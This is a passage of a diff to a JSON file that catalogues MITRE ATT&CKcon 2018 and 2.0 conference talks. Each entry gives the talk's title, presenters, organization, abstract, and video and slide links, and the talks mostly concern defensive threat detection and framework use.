"https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-poker-lightning-talk-ivan-ninichuck-cyber-knights" + }, + { + "title": "Lightning Talk: Tracking and measuring your ATT&CK coverage with ATT&CK2Jira", + "presenters": [ + { + "names": [ + "Mauricio Velazco" + ] + } + ], + "description": "Tracking and measuring coverage against the ATT&CK framework can be a challenging task. This lighting talk will introduce Att&ck2Jira, a tool that leverages Jira and the Att&ck navigator that can help blue teams automate this effort. No more spreadsheets!", + "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=1199", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-tracking-and-measuring-attck-coverage-with-attack2jira-lightning-talk-mauricio-velazco" + }, + { + "title": "Lightning Talk: STIX in the Mud", + "presenters": [ + { + "names": [ + "Bryson Bort" + ], + "organization": "SCYTHE" + } + ], + "description": "CTI today = static solutions of yesterday. STIX currently adequately supports today’s requirements. What is if we could operationalize attacks (ATT&CK) with it?", + "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=1483", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-stix-in-the-mud-lightning-talk-bryson-bort-scythe-193684762" + }, + { + "title": "Lightning Talk: ATT&CK, Intelligence, and Micro-Purple Teaming", + "presenters": [ + { + "names": [ + "Emma MacMullan" + ], + "organization": "Federal Reserve" + } + ], + "description": "Intel-driven Purple Teaming can enhance simulated attacks by using ATT&CK to create real-time tactical information on current threat actor behaviors, as well as validate existing detections and identify gaps in coverage. This lightning talk will be a snapshot into an ad-hoc side project that showed you don’t need a big report or a lot of man hours to ask some interesting questions; you just need a little spontaneity, a single TTP, and of course, ATT&CK.", + "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=1796" + }, + { + "title": "Lightning Talk: #GuardrailsoftheGalaxy: The Prologue", + "presenters": [ + { + "names": [ + "Nick Carr" + ], + "organization": "FireEye" + } + ], + "description": "Providing a quick survey of execution guardrails, environmental keying, and announcing the 2019 nominees for best in-the-wild adversary use of guardrailing.", + "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=2098" + }, + { + "title": "ATT&CK Updates – PRE Integration", + "presenters": [ + { + "names": [ + "Adam Pennington" + ], + "organization": "MITRE" + } + ], + "description": "Updates from the ATT&CK Team's very own Adam Pennington covering PRE-ATT&CK integration.", + "video": "https://youtu.be/fEYL0MDvc44?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-pre-attck-integration-adam-pennington-mitre" + }, + { + "title": "Closing Remarks", + "presenters": [ + { + "names": [ + "Katie Nickels", + "Blake Strom" + ], + "organization": "MITRE" + } + ], + "description": "ATT&CK Threat Intelligence Lead Katie Nickels and ATT&CK Lead Blake Strom wrap up the conference and share the results of the ATT&CKcon 2.0 Birds of a Feather sessions.", + "video": "https://youtu.be/mDKBEsuZvh4?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk" + } ] -}, { + }, + { "date": "October 2018", "title": "ATT&CKcon 2018", "description": "Thank you for all the passion and engagement that made ATT&CKcon such a success. Over 250 of you joined us in person at MITRE’s McLean campus for our first ever event that was live streamed to more than 1,000 people at its peak. Our videos have been viewed over 10,000 times already, and there’s a lot of energy around the community to keep improving the ATT&CK framework. Please continue to watch and share these presentations.", "blogpost": "https://medium.com/mitre-attack/attackcon-2018-501d62566233", "banner_img": "/theme/images/attckcon-banner.jpg", "sponsors_img_list": [ - "/theme/images/attackcon2018-sponsors/mcafee.png", - "/theme/images/attackcon2018-sponsors/attackiq.png", - "/theme/images/attackcon2018-sponsors/endgame.png", - "/theme/images/attackcon2018-sponsors/tripwire.png", - "/theme/images/attackcon2018-sponsors/safebreach.png", - "/theme/images/attackcon2018-sponsors/crowdstrike.png", - "/theme/images/attackcon2018-sponsors/redcanary.png", - "/theme/images/attackcon2018-sponsors/verodin.png" - + "/theme/images/attackcon2018-sponsors/mcafee.png", + "/theme/images/attackcon2018-sponsors/attackiq.png", + "/theme/images/attackcon2018-sponsors/endgame.png", + "/theme/images/attackcon2018-sponsors/tripwire.png", + "/theme/images/attackcon2018-sponsors/safebreach.png", + "/theme/images/attackcon2018-sponsors/crowdstrike.png", + "/theme/images/attackcon2018-sponsors/redcanary.png", + "/theme/images/attackcon2018-sponsors/verodin.png" ], "presentations": [ - { - "title": "Advancing Infosec, Keynote Presentation", - "presenters": [{ - "names": ["John Lambert"], - "organization": "Microsoft" - }], - "description": "In this presentation at MITRE ATT&CKcon, John Lambert, Distinguished Engineer and General Manager of the Threat Intelligence Center at Microsoft, presents “Advancing InfoSec: Towards an Open, Shareable, Contributor-Friendly Model of Speeding InfoSec Learning.” The talk details a model where infosec know-how is more organized, community sourced, vendor neutral, and shareable by all defenders. It includes a call for the community to publish mappings of ATT&CK techniques used by groups.", - "video": "https://www.youtube.com/watch?v=yslLIqfOKCU&t=0s&index=2&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-keynote-advancing-infosec-john-lambert-microsoft" - }, - { - "title": "How Did We Get Here?", - "presenters": [{ - "names": ["Blake Strom", "Richard Struse"], - "organization": "MITRE" - }], - "description": "Richard Struse, MITRE’s Principal Strategist for Cyber Threat Intelligence, interviews Blake Strom, MITRE’s principal ATT&CK engineer, on how MITRE ATT&CK was developed, its current state, and future direction.", - "video": "https://www.youtube.com/watch?v=u8Fnwb-1kMg&t=0s&index=3&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2" - }, - { - "title": "Operationalizing ATT&CK", - "presenters": [{ - "names": ["Bryson Bort"], - "organization": "SCYTHE" - }], - "description": "How do you turn a theoretical framework into something useful? ATT&CK provides a common language while allowing for the development of sophisticated defenses.", - "video": "https://www.youtube.com/watch?v=ggmdNvJC3sQ&index=4&t=0s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-operationalizing-attck-bryson-bort-scythe" - }, - { - "title": "Summiting the Pyramid of Pain: Operationalizing ATT&CK", - "presenters": [{ - "names": ["Emma MacMullan", "Justin Sherenco"], - "organization": "General Electric" - }], - "description": "Operationalizing the ATT&CK framework has enabled GE to deploy custom detection to evolving threat actor behaviors. By leveraging an in-house developed tool called TIAMAT (Tactical Intelligence Adversary Mapping and Analysis Tool) the ATT&CK framework is incorporated into an end-to-end operational process from intelligence collection to customized detection deployment. The designing of this new operational process is examined, and a use case presented of how examining a historical incident led to a new method of deploying detection based on ATT&CK and the detection of previously undiscovered activity. There is also a demo that walks the audience through the end-to-end process and explains TIAMATs capabilities.", - "video": "https://www.youtube.com/watch?v=YhsN5pBDrGY&index=5&t=0s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-summiting-the-pyramid-of-pain-operationalizing-attck-emma-macmullan-and-justin-sherenco-general-electric" - }, - { - "title": "ATT&CK: All the Things", - "presenters": [{ - "names": ["Neelsen Cyrus", "David Thompson"], - "organization": "USAA" - }], - "description": "USAA has utilized the ATT&CK framework as a unique means to map their current detection infrastructure and assess their ability to defend against the most relevant threats to their network. In this presentation they share some lessons learned during their journey with ATT&CK leading to identified best practices for workflow integration through team composition and custom tool development.", - "video": "https://www.youtube.com/watch?v=wryPQd2s_V8&index=6&t=0s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-attck-all-the-things-neelsen-cyrus-and-david-thompson-usaa" - }, - { - "title": "Agile Continuous Improvement Using ATT&CK", - "presenters": [{ - "names": ["Matthew Stiak", "Jason Sinchak"], - "organization": "Level Nine Group" - }], - "description": "Organizations implementing SOC/IR with limited resources confront two issues: prioritization and measurement. Any successful SOC/IR implementation must have a robust way to prioritize content development and technology investment, and measurements that reflect the effectiveness of the investments to drive the next round of prioritization. Organizations can maximize their return on investment by using MITRE ATT&CK to focus resources on repeatable behaviors and provide a simple structure to reporting how well the organization can detect, block, or respond to those behaviors. During this talk security testing and operations experts Matt Stiak and Jason Sinchak share their thoughts on how to operationalize a continuous improvement and measurement framework based on MITRE ATT&CK, as well as some early results from their implementation of that framework.", - "video": "https://www.youtube.com/watch?v=Bgg6kZBzyhc&index=7&t=0s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-agile-continuous-improvement-using-attck-matthew-stiak-delta-dental-and-jason-sinchak-level-nine-group" - }, - { - "title": "Vendor Panel Discussion", - "moderator": { - "name": "Ed Amoroso", - "organization": "TAG Cyber" - }, - "panelists": [ - "Devon Kerr, Endgame", - "Jen Miller-Osborn, Unit 42 at Palo Alto Networks", - "Ross Rustici, Cybereason", - "Carl Wright, ATTACKIQ" - ], - "topics": [ - "The role of a threat taxonomy in the design of a commercial solution", - "How commercial providers keep up with a changing threat landscape", - "Stories around the most intriguing threat scenarios or methods seen", - "Requirements from commercial clients regarding threat frameworks" - ], - "video": "https://www.youtube.com/watch?v=hQIYdCocjbw&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=8&t=0s" - }, - { - "title": "VCAF: Expanding the ATT&CK Framework to cover VERIS Threat Action Varieties", - "presenters": [{ - "names": ["Alex Pinto"], - "organization": "Verizon" - }], - "description": "The Vocabulary for Event Recording and Incident Sharing (VERIS) is a set of metrics designed to provide a common language for describing security incidents in a structured and repeatable manner. VERIS has been the base analysis framework for supporting the Verizon Data Breach Investigations Report (DBIR) since its inception. However, as organizations work to interpret the richness of information present on the DBIR to a more tactical level, the Threat Action Varieties available on VERIS fail to capture the detail present on the incidents recorded. This talk presents the Verizon Common Attack Framework (VCAF), an effort from the Security Data Science team and the DBIR team in Verizon to expand and map the ATT&CK framework in alignment with the DBIR Threat Action Varieties to provide this much-sought level of granularity in recording and analyzing recorded breaches. Additionally, this talk describes possible outcomes when this data is available and organized as such. Examples include applying DBIR-inspired attack vector analytics upon ATT&CK layer information, effectively identifying optimal control choke points on the attack graphs according to specific industries covered by the DBIR.", - "video": "https://www.youtube.com/watch?v=-NtYYqUGEco&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=9&t=0s", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-vcaf-expanding-the-attck-framework-to-cover-veris-threat-action-varieties-alex-pinto-verizon" - }, - { - "title": "Playing Devil’s Advocate to Security Initiatives with ATT&CK", - "presenters": [{ - "names": ["David Middlehurst"], - "organization": "Trustwave" - }], - "description": "This talk presents a case study which demonstrates that we should consider the knowledge and wisdom contained within ATT&CK in all organizational security initiatives to make sure by fixing one thing we have not just created an opportunity. The presentation shows how to leverage the analysis and classification of APT tactics and procedures (TTP) to guide research into new and novel techniques, specifically focusing on exfiltration and command and control. DNS over HTTPS (DoH) aims to increase user privacy and security by preventing eavesdropping and manipulation of DNS data by man-in-the-middle attacks. Major web browsers such as Firefox are considering its implementation by default. But what could this possibly mean for exfiltration and command and control? This session provides an end-to-end demo that shows DoH being implemented to provide full command and control in a popular attack simulation framework and discusses associated mitigations.", - "video": "https://www.youtube.com/watch?v=4sNaScEg32s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=10&t=0s", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-playing-devils-advocate-to-security-initiatives-with-attck-david-middlehurst-trustwave" - }, - { - "title": "From Red VS Blue to Red Loves Blue", - "presenters": [{ - "names": ["Olaf Hartong", "Vincent Van Mieghem"], - "organization": "Deloitte" - }], - "description": "This session discusses Deloitte’s purple teaming approach which is using ATT&CK as a guiding principle to help both teams improve. This session shows how this works in a customer scenario, how to scope that scenario, how to plan the scenario and choose the various TTPs to be covered to how we assist the customers blue team in understanding the TTPs and helping them design detective capabilities for them. When the Blue Team is able to connect the dots from offensive activities in the network and what they see in their logs, rewalls, SIEMs, etc. they have the ability to fully understand what adversaries do and what the TTP’s of attackers actually look like if they are active in their network. It’s much easier to find the needle in the haystack if you know there is a needle to find to begin with. Purple teaming is providing this pointy needle, used to accelerate the Blue Team.", - "video": "https://www.youtube.com/watch?v=7OK3fOZ7NXM&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=11&t=0s", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-from-red-vs-blue-to-red-blue-olaf-hartong-and-vincent-van-mieghem-deloitte" - }, - { - "title": "Helping Your Non-Security Executives Understand ATT&CK in 10 Minutes or Less", - "presenters": [{ - "names": ["Elly Searle"], - "organization": "CrowdStrike" - }], - "description": "ATT&CK is an incredibly valuable framework for describing and analyzing what’s happening in your environment. Sometimes security professionals not only need a way to understand, but also need a way to clearly articulate to non-security leadership to gain support and investment in needed resourcing. Using UX design methods, CrowdStrike came up with a mental model and more conversational terms to help anyone quickly parse the big picture.", - "video": "https://www.youtube.com/watch?v=eZsMHSE2PDc&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=12&t=0s", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-helping-your-nonsecurity-executives-understand-attck-in-10-minutes-or-less-elly-searle-crowdstrike" - }, - { - "title": "ATT&CK as a Teacher", - "presenters": [{ - "names": ["Travis Smith"], - "organization": "Tripwire" - }], - "description": "ATT&CK is valuable for those of us who are heads down in security day in and day out. But what about using ATT&CK to each college interns about security? This presentation details how Tripwire used ATT&CK to build- out a new training regimen for summer interns. By going through and finding quick wins, Tripwire’s interns were actively engaged in learning about security. The detailed break downs of ATT&CK were greatly beneficial in helping teach security concepts to those who were not yet familiar with them. This session shows the program details and how you might be able to adapt it to your requirements.", - "video": "https://www.youtube.com/watch?v=4s3pZirFCPk&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=13&t=0s", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-attck-as-a-teacher-travis-smith-tripwire" - }, { - "title": "Detection Philosophy, Evolution & ATT&CK", - "presenters": [{ - "names": ["Fred Stankowski", "Travis McWaters"], - "organization": "Pepsico" - }], - "description": "This lightning talk is a brief discussion around how PepsiCo is managing their ‘detection catalog’ and how it maps and is enhanced by the MITRE ATT&CK framework.", - "video": "https://www.youtube.com/watch?v=bFFi3Vqrp2o&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=14&t=0s", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-detection-philosophy-evolution-attck-fred-stankowski-travis-mcwaters" - }, - { - "title": "Decision Analysis Applications in Threat Analysis Frameworks", - "presenters": [{ - "names": ["Emily Shawgo"], - "organization": "PNC" - }], - "description": "In the modern age, all organizations face threats from various types of cyber attacks. Although great strides have been made to consider human factors in cybersecurity and to become more proactive in threat analysis, security is still generally a reactive, technical field. The research presented in this talk seeks to develop a framework which adapts the existing MITRE ATT&CK framework to look at attacks in a less linear, more human-centered framework that focuses on the capabilities and decisions of the threat actor. The framework approaches threat analysis from a binary assessment of success vs. failure in order to see the entire attack and consider the potential for a number of methods and attempts made in a single attack. A detailed methodology and sample charts are included for a reference and a starting point in developing one’s own personalized charts, and recommendations are made for ways to integrate this methodology into the risk management process.", - "video": "https://www.youtube.com/watch?v=3JMVP6rkY8Y&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=15&t=0s", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-decision-analysis-applications-in-threat-analysis-frameworks-emily-shawgo-pnc" - }, - { - "title": "Building an Atomic Testing Program", - "presenters": [{ - "names": ["Brian Beyer"], - "organization": "Red Canary" - }], - "description": "Red Canary’s applied research team built the Atomic Red Team project based on a simple idea: encourage security teams to test their systems. Leveraging MITRE ATT&CK, the series of small tests can be combined into chains to help teams gain insight into gaps in their security program at all levels. This talk describes how to use Atomic Red Team and how MITRE ATT&CK is leveraged to write the tests.", - "video": "https://www.youtube.com/watch?v=MZZzYaNUfjE&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=16&t=0s", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-building-an-atomic-testing-program-brian-beyer-red-canary" - }, - { - "title": "5 Ways to Screw Up Your Security Program with ATT&CK", - "presenters": [{ - "names": ["Kyle Rainey"], - "organization": "Red Canary" - }], - "description": "Over the past year there has been a significant uptick in adoption of MITRE ATT&CK. Adoption of a common language and taxonomy for adversarial tactics and techniques comes with a few unspoken traps. This talk is to bring awareness to the pitfalls of implementing and adopting any variation of MITRE ATT&CK and how you can avoid falling for them.", - "video": "https://www.youtube.com/watch?v=MBVxaE9oaMQ&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=17&t=0s" - }, - { - "title": "ATT&CK + OSQuery = Love", - "presenters": [{ - "names": ["Scott Lundgren"], - "organization": "Carbon Black" - }], - "description": "MITRE ATT&CK is cool and it's open, with a heavy emphasis on how attackers behave on the endpoint. OSQuery is cool and it's open, with a heavy emphasis on endpoint visibility. This talk focuses on an open-source extension to OSQuery that provides a free, repeatable mechanism to identify and detect ATT&CK techniques.", - "video": "https://www.youtube.com/watch?v=scI1AvZUBCo&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=18&t=0s", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-attck-osquery-love-scott-lundgren-carbon-black" - }, - { - "title": "An ATT&CK Review of 200 Hybrid-Analysis Submissions", - "presenters": [{ - "names": ["James Lerud"], - "organization": "Verodin" - }], - "description": "How can you consistently categorize Techniques a given piece of malware uses? The answer to this question could be provided by sandbox vendors. CrowdStrike has embraced ATT&CK by including Technique detection in their public Hybrid-Analysis reports. This talk reviews the submission results of 100 malicious and 100 benign executables.", - "video": "https://www.youtube.com/watch?v=GDIPEYdTmCE&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=19&t=0s", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-an-attck-review-of-200-hybridanalysis-submissions-james-lerud-verodin" - }, - { - "title": "From Technique to Detection", - "presenters": [{ - "names": ["Paul Ewing", "Ross Wolf"], - "organization": "Endgame" - }], - "description": "This session is a practical guide for a rapid prototyping of ATT&CK-based analytics – from technique to detection.", - "video": "https://www.youtube.com/watch?v=a3hIIzJrH14&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=20&t=0s", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-from-technique-to-detection-paul-ewing-and-ross-wolf-endgame" - }, - { - "title": "Hunters ATT&CKing with the Data", - "presenters": [{ - "names": ["Roberto Rodriguez"], - "organization": "SpecterOps" - }, { - "names": ["Jose Luis Rodriguez"], - "organization": "Student" - }], - "description": "With the development of the MITRE ATT&CK framework and its categorization of adversary activity during the attack cycle, understanding what to hunt for has become easier and more efficient than ever. However, organizations are still struggling to understand how they can prioritize the development of hunt hypothesis, assess their current security posture, and develop the right analytics with the help of ATT&CK. Even though there are several ways to utilize ATT&CK to accomplish those goals, there are only a few that are focusing primarily on the data that is currently being collected to drive the success of a hunt program. This presentation shows how organizations can benefit from mapping their current visibility from a data perspective to the ATT&CK framework. It focuses on how to identify, document, standardize and model current available data to enhance a hunt program. It presents an updated ThreatHunter-Playbook, a Kibana ATT&CK dashboard, a new project named Open Source Security Events Metadata known as OSSEM and expands on the “data sources” section already provided by ATT&CK on most of the documented adversarial techniques.", - "video": "https://www.youtube.com/watch?v=QCDBjFJ_C3g&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=21&t=0s", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-hunters-attcking-with-the-data-robert-rodriguez-specterops-and-jose-luis-rodriguez-student" - }, - { - "title": "Analyzing Targeted Intrusions Through the Lens of the ATT&CK Framework", - "presenters": [{ - "names": ["Karl Scheuerman"], - "organization": "CrowdStrike" - }], - "description": "The security community is quickly adopting the MITRE ATT&CK matrix as a framework for understanding and analyzing targeted intrusions. However, one of its potential limitations is a lack of detailed historical intrusion data for developing accurate and thorough ATT&CK-based threat modeling. Crowdstrike’s Falcon OverWatch threat hunting team analyzes adversary behavior on a regular basis. The amount of OverWatch's malicious intrusion data is significant given the valuable telemetry delivered by Falcon's endpoint technology. As a result, CrowdStrike has amassed a rich data library of malicious activity that can be applied to the ATT&CK model. The OverWatch Strategic Counter-Adversary Research (SCAR) team has now evaluated all OverWatch intrusion data since January 1, 2018 through the lens of the ATT&CK framework. This presentation presents these findings and highlights cases of unique adversary TTP use. The results of this analysis will provide a baseline from which CrowdStrike can better identify changes in threat actor TTP trends moving forward. In addition, the presentation discusses limitations in this type of research.", - "video": "https://www.youtube.com/watch?v=Rg64nPqqs8s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=22&t=0s" - }, - { - "title": "End User Panel Disussion", - "moderator": { - "name": "Katie Nickels", - "organization": "MITRE" - }, - "panelists": [ - "Jon Bagg, Booz Allen Hamilton", - "Daniel Bernholz, JPMorgan Chase", - "Dave Westgard, Target Corporation" - ], - "topics": [ - "What are the best practices and lessons learned for organizations who are just getting started with ATT&CK?", - "What has been the most difficult part of implementing ATT&CK? What changes could be made to ATT&CK to make it easier for others in the future?", - "Where would you like to see ATT&CK go in the future that would help make it more useful for your team?", - "What else haven’t we talked about that you think is important for someone who wants to use ATT&CK to know?" - ], - "video": "https://www.youtube.com/watch?v=wJoMKYfM7OQ&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=23&t=0s" - },{ - "title": "Sofacy 2018 and the Adversary Playbook", - "presenters": [{ - "names": ["Robert Falcone"], - "organization": "Palo Alto Networks" - }], - "description": "Unit 42 researches threat activity and publishes detailed reports on attack campaigns launched by these adversaries. One of these adversaries, known as Sofacy, has been carrying out attack campaigns on high profile targets for many years and has continued into 2018. To understand how to defend against these threats, an analyst has to read our reports, process them and mentally map them to their defenses. In most cases we expect readers just \"block\" all of the indicators we include in the report and assume they are covered. Last year we started using ATT&CK to codify the techniques we observed, linking those techniques to indicator patterns and encoding them into STIX 2 objects, with the goal of creating something that a defender can use to answer the question: \"How am I defending against this adversary?\" We call these documents, \"Adversary Playbooks\" as they contain our best approximation of how the adversary launches their attacks. This talk describes the concept of Adversary Playbooks, as well as provides an overview of the attack campaigns Unit 42 has attributed to the Sofacy group in 2018. It uses the discussed attacks to show how these playbooks are constructed and explain some of the challenges of incorporating ATT&CK and STIX 2 together for this purpose.", - "video": "https://www.youtube.com/watch?v=4CBES3xv3Zg&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=24&t=0s", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-sofacy-2018-and-the-adversary-playbook-robert-falcone-palo-alto-networks" - },{ - "title": "From Automation to Analytics: Simulating the Adversary to Create Better Detections", - "presenters": [{ - "names": ["David Herrald", "Ryan Kovar"], - "organization": "Splunk" - }], - "description": "Security teams have more detection tools at their disposal than ever before, yet most are still struggling to find even the most basic malicious activity occurring in their environments. Building effective detection analytics requires realistic data and the ability to iterate quickly in a rapid analytic development cycle. This talk introduces a full lifecycle attack simulation and analytics development environment featuring the MITRE ATT&CK framework and the Atomic Red Team project using Splunk and Splunk Phantom mapped to an imaginary APT group, Taedonggang. It focuses on how security teams can use such a system to rapidly develop and share new detection analytics. Links to all components referenced in the talk are provided, including a cloud-based dataset that can act as a playground for users who want to see the results of the activity.", - "video": "https://www.youtube.com/watch?v=ZRixr6QshEs&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=25&t=0s", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-from-automation-to-analytics-simulating-the-adversary-to-create-better-detections-david-herrald-and-ryan-kovar-splunk" - },{ - "title": "The Use of Game Theory with MITRE ATT&CK", - "presenters": [{ - "names": ["Matt Summers", "Nick Dunn"], - "organization": "NCC Group" - }], - "description": "This presentation shows how the use of game theory with the ATT&CK framework can produce better attack and defense strategies.", - "video": "https://www.youtube.com/watch?v=UcZBAY18UXo&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=26&t=0s", - "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-the-use-of-game-theory-with-mitre-attck-matt-summers-and-nick-dunn-ncc-group" - } + { + "title": "Advancing Infosec, Keynote Presentation", + "presenters": [ + { + "names": [ + "John Lambert" + ], + "organization": "Microsoft" + } + ], + "description": "In this presentation at MITRE ATT&CKcon, John Lambert, Distinguished Engineer and General Manager of the Threat Intelligence Center at Microsoft, presents “Advancing InfoSec: Towards an Open, Shareable, Contributor-Friendly Model of Speeding InfoSec Learning.” The talk details a model where infosec know-how is more organized, community sourced, vendor neutral, and shareable by all defenders. It includes a call for the community to publish mappings of ATT&CK techniques used by groups.", + "video": "https://www.youtube.com/watch?v=yslLIqfOKCU&t=0s&index=2&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-keynote-advancing-infosec-john-lambert-microsoft" + }, + { + "title": "How Did We Get Here?", + "presenters": [ + { + "names": [ + "Blake Strom", + "Richard Struse" + ], + "organization": "MITRE" + } + ], + "description": "Richard Struse, MITRE’s Principal Strategist for Cyber Threat Intelligence, interviews Blake Strom, MITRE’s principal ATT&CK engineer, on how MITRE ATT&CK was developed, its current state, and future direction.", + "video": "https://www.youtube.com/watch?v=u8Fnwb-1kMg&t=0s&index=3&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2" + }, + { + "title": "Operationalizing ATT&CK", + "presenters": [ + { + "names": [ + "Bryson Bort" + ], + "organization": "SCYTHE" + } + ], + "description": "How do you turn a theoretical framework into something useful? ATT&CK provides a common language while allowing for the development of sophisticated defenses.", + "video": "https://www.youtube.com/watch?v=ggmdNvJC3sQ&index=4&t=0s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-operationalizing-attck-bryson-bort-scythe" + }, + { + "title": "Summiting the Pyramid of Pain: Operationalizing ATT&CK", + "presenters": [ + { + "names": [ + "Emma MacMullan", + "Justin Sherenco" + ], + "organization": "General Electric" + } + ], + "description": "Operationalizing the ATT&CK framework has enabled GE to deploy custom detection to evolving threat actor behaviors. By leveraging an in-house developed tool called TIAMAT (Tactical Intelligence Adversary Mapping and Analysis Tool) the ATT&CK framework is incorporated into an end-to-end operational process from intelligence collection to customized detection deployment. The designing of this new operational process is examined, and a use case presented of how examining a historical incident led to a new method of deploying detection based on ATT&CK and the detection of previously undiscovered activity. There is also a demo that walks the audience through the end-to-end process and explains TIAMATs capabilities.", + "video": "https://www.youtube.com/watch?v=YhsN5pBDrGY&index=5&t=0s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-summiting-the-pyramid-of-pain-operationalizing-attck-emma-macmullan-and-justin-sherenco-general-electric" + }, + { + "title": "ATT&CK: All the Things", + "presenters": [ + { + "names": [ + "Neelsen Cyrus", + "David Thompson" + ], + "organization": "USAA" + } + ], + "description": "USAA has utilized the ATT&CK framework as a unique means to map their current detection infrastructure and assess their ability to defend against the most relevant threats to their network. In this presentation they share some lessons learned during their journey with ATT&CK leading to identified best practices for workflow integration through team composition and custom tool development.", + "video": "https://www.youtube.com/watch?v=wryPQd2s_V8&index=6&t=0s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-attck-all-the-things-neelsen-cyrus-and-david-thompson-usaa" + }, + { + "title": "Agile Continuous Improvement Using ATT&CK", + "presenters": [ + { + "names": [ + "Matthew Stiak", + "Jason Sinchak" + ], + "organization": "Level Nine Group" + } + ], + "description": "Organizations implementing SOC/IR with limited resources confront two issues: prioritization and measurement. Any successful SOC/IR implementation must have a robust way to prioritize content development and technology investment, and measurements that reflect the effectiveness of the investments to drive the next round of prioritization. Organizations can maximize their return on investment by using MITRE ATT&CK to focus resources on repeatable behaviors and provide a simple structure to reporting how well the organization can detect, block, or respond to those behaviors. During this talk security testing and operations experts Matt Stiak and Jason Sinchak share their thoughts on how to operationalize a continuous improvement and measurement framework based on MITRE ATT&CK, as well as some early results from their implementation of that framework.", + "video": "https://www.youtube.com/watch?v=Bgg6kZBzyhc&index=7&t=0s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-agile-continuous-improvement-using-attck-matthew-stiak-delta-dental-and-jason-sinchak-level-nine-group" + }, + { + "title": "Vendor Panel Discussion", + "moderator": { + "name": "Ed Amoroso", + "organization": "TAG Cyber" + }, + "panelists": [ + "Devon Kerr, Endgame", + "Jen Miller-Osborn, Unit 42 at Palo Alto Networks", + "Ross Rustici, Cybereason", + "Carl Wright, ATTACKIQ" + ], + "topics": [ + "The role of a threat taxonomy in the design of a commercial solution", + "How commercial providers keep up with a changing threat landscape", + "Stories around the most intriguing threat scenarios or methods seen", + "Requirements from commercial clients regarding threat frameworks" + ], + "video": "https://www.youtube.com/watch?v=hQIYdCocjbw&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=8&t=0s" + }, + { + "title": "VCAF: Expanding the ATT&CK Framework to cover VERIS Threat Action Varieties", + "presenters": [ + { + "names": [ + "Alex Pinto" + ], + "organization": "Verizon" 